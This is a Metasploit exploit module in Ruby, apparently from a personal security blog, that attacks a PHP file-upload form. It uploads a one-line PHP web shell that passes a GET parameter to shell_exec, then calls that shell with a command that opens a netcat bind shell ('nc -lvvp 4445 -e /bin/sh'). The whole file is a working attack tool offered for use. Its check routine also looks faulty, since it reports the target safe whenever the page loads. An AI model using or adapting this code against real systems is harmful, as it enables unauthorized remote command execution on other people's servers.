super cool msf module

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Super cool shell upload',
      'Description'    => %q{
                This is super cool module for Metasploit to check if you can upload shell on target.
      },
      'Author'         =>
        [
          'HauntIT Blog'     # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://HauntIT.blogspot.com']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Any vulnerable upload ', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '28/12/2014'))
  end


  def check
    readurl = normalize_uri(target_uri.path, 'upload','upload.php')
    res = send_request_cgi({
      'uri'    => readurl,
      'method' => 'GET'
    })

    if res.code != 200
      return Msf::Exploit::CheckCode::Unknown
    end

    return Msf::Exploit::CheckCode::Safe
  end

  def exploit
    payload_name = "#{rand_text_alpha(10)}.php"

    shell = "<?php echo '<pre>';$c=$_GET['c'];shell_exec($c);?>"

    uri = normalize_uri(target_uri.path, 'upload','upload.php')

    data = Rex::MIME::Message.new
    data.add_part(shell, 'application/octet-stream', 'binary', "form-data; name=\"plik\"; filename=\"#{payload_name}\"")


    post_data = data.to_s

    payload_uri = normalize_uri(target_uri.path, 'upload','foto', payload_name)

    print_status("#{peer} - Uploading payload to #{payload_uri}")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => uri,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'vars_post' => { 'plik' => '#{payload_name}' },
      'data'     => post_data
    })

    if res.code != 200 || res.body =~ /Blad/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    else
      print_status("Got shell ;>")
    end

    print_status("#{peer} - Executing payload #{payload_uri}")
    res = send_request_cgi({
      'uri'    => payload_uri,
      'method' => 'GET',
      'vars_get' => {'c' => 'id;nc -lvvp 4445 -e /bin/sh &'}
    })


  end
end